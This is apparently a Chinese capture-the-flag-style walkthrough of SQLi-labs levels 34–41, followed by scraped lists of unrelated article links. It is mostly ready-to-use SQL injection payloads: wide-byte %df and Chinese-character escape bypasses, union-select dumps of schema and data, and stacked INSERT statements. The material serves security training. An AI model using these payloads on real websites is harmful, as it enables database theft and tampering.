less 34 汉
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备合适的字符串。
注释:默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检
第三十三关发现了眼熟的反斜杠,于是我们再次利用之前讲到的%df,发现并没有效果,这里其实是因为%df是url编码,在这里我们可以通过汉字的方式去绕,和%df类似,一些汉字的编码为一个三个字节的编码,当代替%df时,可以将三个字节拆开来看,前两个为一个组,后面那个和\相编码为一个两字节绕过,从而单引号逃逸
判断是否存在注入:汉' or 1=1 -- qwe 判断字段数:汉'order by 2-- qwe 判断显错位 :汉'union select 1,2 -- qwe 判断库名:汉'union select 1,database() -- qwe 判断表名:汉'union select 1,table_name from information_schema.tables where table_schema=database() -- qwe 判断列名:汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- qwe 判断数据:汉'union select 1,id from emails-- qwe
汉'union select 1,database() -- qwe
汉'union select 1,table_name from
information_schema.tables where table_schema=database() -- q
less 35
还是‘ 转义 但这个题单纯迷惑你 用不着’ 数字型注入
?id=1 and 1=1
?id=1 and 1=2
?id=1 order by 4--+
?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+
less 36
这一题其实跟前面的题目是差不多的,发现我们输入的引号被转义掉了,我们还是可以利用以前的方法绕过,区别是他们源码中利用到的函数不同。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 下列字符受影响: \x00 \n \r \ ' " \x1a 如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
/?id=1%df' order by 4--+
?id=-1%df' union select 1,database(),version()--+
/?id=-1%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
less 37
判断是否存在注入:汉' or 1=1 -- qwe 判断字段数:汉'order by 2-- qwe 判断显错位 :汉'union select 1,2 -- qwe 判断库名:汉'union select 1,database() -- qwe 判断表名:汉'union select 1,table_name from information_schema.tables where table_schema=database() -- qwe 判断列名:汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- qwe 判断数据:汉'union select 1,id from emails-- qwe
汉' union select 1,2--+
汉' union select database(),version()--+
汉'union select 1,table_name from
information_schema.tables where table_schema=database() -- qwe
汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- q
less 38 堆叠注入
三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。 堆叠注入等于是可以插入一条新的SQL语句,可以进行增删改查。(以前不能增删改查是因为以前的在select语句中。而堆叠注入是可以插入一条全新的SQL语句)
1
?id=1' and '1'='1 正常
?id=1' and '1'='2 不正常
?id=1' order by 4--+
?id=-1' union select 1,database(),version()--+
2
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。需要注意的是:多条用分号分隔的SQL语句中,只要有一条SQL语句执行失败,那么这一条SQL语句以及之后的SQL语句就不会执行。
只有当第一条SQL语句执行失败,那么multi_query()的返回值才为false。如果第一条SQL语句执行成功了,那么都会返回true。
堆叠注入等于是可以插入一条新的SQL语句,可以进行增删改查。(以前不能增删改查是因为以前的在select语句中。而堆叠注入是可以插入一条全新的SQL语句
语法:mysqli_multi_query(connection,query);
/?id=1' ;insert into users(id,username,password) values ('36','36','hello')--+
less 39
和上面一样 不过是前面引号发生变化
?id=1
?id=1;insert into users(id,username,password) values ('66','66','hello')--+
less 40
和上面一样
可知 为堆叠注入 1')
?id=1');insert into users(id,username,password) values ('666','666','hahahahahaha')--+
less 41
和上面一样
可知 为堆叠注入 整数型
?id=1;insert into users(id,username,password) values ('88','hd','hahahahahaha......')--+

- SQL Labs刷题补坑记录(less31-less53)
LESS31: 双引号直接报错,那么肯定可以报错注入,并且也过滤了一些东西,^异或没有过滤,异或真香 -1" and (if(length(database())=8,1,0)) and & ...
- SQL Labs刷题补坑记录(less1-less30)
补坑加1,这几天快速刷一下sqllabs 来巩固下sql注入基础吧,也算是把很久以前没刷的过一遍,do it! 第一部分: LESS1: 直接报错,有回显的注入, http://localhost/s ...
- SQL Labs刷题补坑记录(less54-less65)
LESS54: 只有10次尝试,dump处secret key 直接union 查就可以,括号为单引号闭合 LESS55: 尝试出来闭合的方式为)括号,后面操作与54相同 LESS56: 尝试出来括号 ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- HANA SQL
约束 注释 你可以给你的 SQL 语句添加注释来增加可读性和可维护性. SQL 语句中注释的分隔如下: l 双连字符“--”.所有在双连字符之后直到行尾的内容都被 SQL 解析器认为是注释. l ...
- 搭建sql注入实验环境(基于windows)
搭建服务器环境 1.下载xampp包 地址:http://www.apachefriends.org/zh_cn/xampp.html 很多人觉得安装服务器是件不容易的事,特别是要想添加MySql, ...
- Natas Wargame Level 16 Writeup(Content-based Blind SQL Injection)
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAqwAAADhCAYAAAANm+erAAAABHNCSVQICAgIfAhkiAAAIABJREFUeF
- Natas Wargame Level 15 Writeup(Content-based Blind SQL Injection)
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAq4AAACGCAYAAAAcnwh0AAAABHNCSVQICAgIfAhkiAAAIABJREFUeF
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
随机推荐
- springcloud(二) - 服务调用Feign&openFeign
功能介绍:动态代理的方式,简化请求其他服务的开发成本,更好得对请求地址组装.接受返回信息.返回参数解析等 Feign和OpenFeign区别: OpenFeign实现了Feign的基础功能,同时支持 ...
- docker 安装portainer容器后,启动/Portainer 安装MySQL并开启远程访问
启动命令: docker run -d -p 9000:9000 --restart=always -v /var/run/docker.sock:/var/run/docker.sock --nam ...
- oracle abs ap 银行账号 组织层 新增api
DECLARE l_return_status VARCHAR2(1); l_msg_count NUMBER; l_msg_data VARCHAR2(1000); x_acct_use_id nu ...
- Vue + Element table的@select方法获取当table中的id值都相同时,获取他们索引
先说下问题情况,原本通过双重forEach方法方法,遍历可以获取到被勾选中的索引. let arr = []val.forEach((val, index) => { this.TableDat ...
- jar包启动脚本, 以及外置配置文件application.yml
想使用sh脚本来启动,停止,重启我们的jar服务, 顺便还要外置配置文件方便修改 示例server.sh如下,启动命令为sh server.sh start或restart或stop,修改其中的这几个 ...
- liunx设置QQ邮箱报警
1.先安装一个软件包, 2.先登录电脑QQ邮箱->设置->账户->账户安全前两条选择开启,并生成授权码,授权码很重要很重要,千万不要泄露. 3.在liunx命令行输入 :vi /e ...
- mmdetection3d安装
conda create -n openmmlab python=3.7 -y conda activate openmmlab pip install torch==1.8.1+cu101 torc ...
- eccodes 使用girb_filter工具
参考自ECMWF网站https://confluence.ecmwf.int/display/OPTR/ecCodes%3A+GRIB+and+BUFR+data+decoding+and+encod ...
- csr_matrix与ndarray类型互转
ndarry 转 csr_matrix>>> import numpy as np>>> import scipy.sparse >>> my_m ...
- Oracle JDK 和 OpenJDK 有什么区别?
OpenJDK是Sun在2006年末把Java开源而形成的项目,这里的"开源"是通常意义上的源码开放形式,即源码是可被复用的,例如IcedTea.UltraViolet都是从Ope ...